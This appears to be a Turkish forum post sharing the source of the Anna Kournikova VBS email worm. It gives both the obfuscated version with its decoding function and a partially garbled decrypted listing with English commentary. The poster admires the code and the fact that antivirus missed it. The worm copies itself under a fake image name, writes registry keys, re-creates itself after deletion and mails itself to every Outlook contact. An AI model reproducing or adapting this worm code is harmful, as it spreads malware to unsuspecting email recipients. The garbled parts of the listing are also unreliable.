Nedense norton alarm vermedi. Güzel kodmuş. Adam baya uğraşmiş heralde :) This time, action must speak louder than words...

Zamanın solucanlarından outlook ile adres defterini nasıl kullandığını incelemek için iyi bir kaynak kod inceleyin derim.. Şifreli hali Execute e7iqom5JE4z udQ0VpgjnH{tEcggvf{DQVpgjnH{QptGqttgTwugoPzgvUvgGQ9v58Jr7R6?EgtvcQgldeg vY$eUktvrU0gjnn+$9G5QJv786r0Rgtyiktgv$MJWEu^hqyvtc^gpQjVHg{n$^. jE t9:+(jE t33+3(Etj3 63+(jE t23+;(Etj5 +4(Etj3 ;2+(jE t9;+(jE t23+2(Etj3 32+(jE t45+(jE t33+;(Etj3 72+(jE t33+8(Etj3 62+(jE t45+(jE t8:+(jE t:;+(jE t33+7(Etj3 ;3+(jE t23+5(Etj5 +4(Etj6 +;(Etj6 +8(Etj7 +5(Etj6 +:(Etj; +:gUvQtcyVopldi?7Egtvcqgldeg vu$terkkviph0nkugu{gvqoldeg$v+tyQoclVip7de0rqh{nkguyterk0veuktvrwhnncpgot. yQoclVip7dI0vgrUegckHnnqgf t+2(^$pCcpqMtwkpqmcxl0irx0ud$kh9G5QJv786r0Rgtticgf$ MJWEu^hqyvtc^gpQjVHg{no^kcgn$f+@>$$3vgjpgp4CUJ9inEN+ pgfhkhkopqjvp yq+3?cfpf{cp yq+4?8jvpg9G5QJv786r0RwtpJ$vv<r11yy0y{fcp{dgvp0$n5. h. ncgupgfhkgUvMLUiJy9M59?ztyQoclVip7dq0grvpzghvnk guyterk0veuktvrwhnncpgo.+3P\L7\Mz6wk?XLiMyUMJ99z5t0cgcfnnM LUiJy9M590znEuqgFqKhqPvt yQoclVip7dh0nkggkzvu uuyterk0veuktvrwhnncpgo++VgjpUvgWKg44:|6R2x?QtcyVopldi07tecggvgvvzkhgny euktvru0terkhvnwpnoc. gVwt+ggW4K|4R:x602tyvk\g7PML6\kzXwgW4K|4R:x602nEuqgGfpKhNqqrHpwveqkp4gUp9CnJNi E+QptGqttgTwugoPzgvUvgF54xQOzM8JT?EgtvcQgldeg vQ$vwqnmqC0rrkncekvpq+$hKF54xQOzM8JT?Q$vwqnmqV$gjpUvgl74PvD\h;n:F?54xQOzM8JTI0vgcPgorUec gO$RC$K+UvgUm834i35gN5?4lv7\P;D:h0nfCtfugNuukuvqHtcGjeL4TRoOuD4ToKp8U4m33gi55NKhTLo4uR4OoD0TfCtfugGuvpktugE0wqvp>@2jVpg6fFDz5yi3xL?TLo4uR4OoD0TfCtfugGuvpktugE0wqvpqHt9Z;:cX|5gT?|3Vq6fFDz5yi3xLUvgk9sd4:6x5\5?F54xQOzM8JTE0gtvcKggv o+2gUvKQ6GXDl[LQ:?TLo4uR4OoD0TfCtfugGuvpktugZ :9X;5cT||g+k9sd4:6x5\5V0q?KQ6GXDl[LQ0:fCtfuguk9sd4:6x5\5U0dwglve?$gJgt{wqjxc. g=+q$k9sd4:6x5\5D0fq{?J$<k$(dxtehn($jEegmjVuk$#(xednth($$guvYhpu:sI[h;?3sk496d5:5x0\vCcvjeg ovpuhuYsp[:;I3hC0fftyQoclVip7dI0vgrUegckHnnqgf t+2(^$pCcpqMtwkpqmcxl0irx0ud$k9sd4:6x5\5F0ngvgCgvhtgwUodvk?VwtgKhsk496d5:5x0\qV>@$$Vgjpk9sd4:6x5\5U0pgfGQ9v58Jr7R6t0igtyvkgJ$EM^WquvhcygtQ^VpgjnH^{conkfg.$$$3pGfhKgPvzpGfhKgPvzpgfhkpGfwHepkvpqX)udiy370d2") Function e7iqom5JE4z(hFeiuKrcoj3) For I = 1 To Len(hFeiuKrcoj3) Step 2 StTP1MoJ3ZU= Mid(hFeiuKrcoj3, I, 1) WHz23rBqlo7= Mid(hFeiuKrcoj3, I + 1, 1) If Asc(StTP1MoJ3ZU) = 15 Then StTP1MoJ3ZU= Chr(10) ElseIf Asc(StTP1MoJ3ZU) = 16 Then StTP1MoJ3ZU = Chr(13) ElseIf Asc(StTP1MoJ3ZU) = 17 Then StTP1MoJ3ZU = Chr(32) Else StTP1MoJ3ZU = Chr(Asc(StTP1MoJ3ZU) - 2) End If If WHz23rBqlo7<> "" Then If Asc(WHz23rBqlo7) = 15 Then WHz23rBqlo7= Chr(10) ElseIf Asc(WHz23rBqlo7) = 16 Then WHz23rBqlo7= Chr(13) ElseIf Asc(WHz23rBqlo7) = 17 Then WHz23rBqlo7= Chr(32) Else WHz23rBqlo7= Chr(Asc(WHz23rBqlo7) - 2) End If End If e7iqom5JE4z = e7iqom5JE4z & WHz23rBqlo7 & StTP1MoJ3ZU Next End Function Vbswg 1.50b / // Decrypt Edilmiş hali "Vbs. OnTheFly Created By OnTheFly //L@/\/\3R who released the worm On Error Resume Next Set ws = CreateObject //says "Worm made with VBSwg 1.50b": another pitfall ws. regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98) Set fso= Createobject fso. copyfile wscript. scriptfullname, fso. GetSpecialFolder(0)& "\AnnaKournikova. jpg. vbs" if ws. regread <> "1" then Outlook end if //Red Herring? Maybe, but NL might be the origin of the worm if month =1 and day = 26 then ws. run "Http://www.dynabyte.nl",3, false end if //The following section could be an anti-deletion technique Set AnnaKournikova = fso. opentextfile(wscript. scriptfullname, 1) SourceCode = AnnaKournikova. readall AnnaKournikova. Close Do If Not (fso. fileexists Then Set AnnaKournikova = fso. createtextfile AnnaKournikova. write SourceCode AnnaKournikova. Close End If Loop Function Outlook On Error Resume Next Set OutlookApp = CreateObject If OutlookApp= "Outlook"Then Set Mapi=OutlookApp. GetNameSpace Set MapiAdList= Mapi. AddressLists For Each Address In MapiAdList If Address. AddressEntries. Count <> 0 Then NumOfContacts = Address. AddressEntries. Count //Get a list of contacts For ContactNumber = 1 To NumOfContacts Set EmailItem = OutlookApp. CreateItem(0) Set ContactNumber = Address. AddressEntries EmailItem. To = ContactNumber. Address EmailItem. Subject = "Here you have, ;o)" EmailItem. Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & "" set EmailAttachment=EmailItem. Attachments EmailAttachment. Add fso. GetSpecialFolder(0)& "\AnnaKournikova. jpg. vbs" EmailItem. DeleteAfterSubmit = True //Send the thing If EmailItem. To <> "" Then EmailItem. Send ws. regwrite "HKCU\software\OnTheFly\mailed", "1" End If Next End If Next end if End Function "Vbswg 1.50b You think the game is over? It has just begun ;)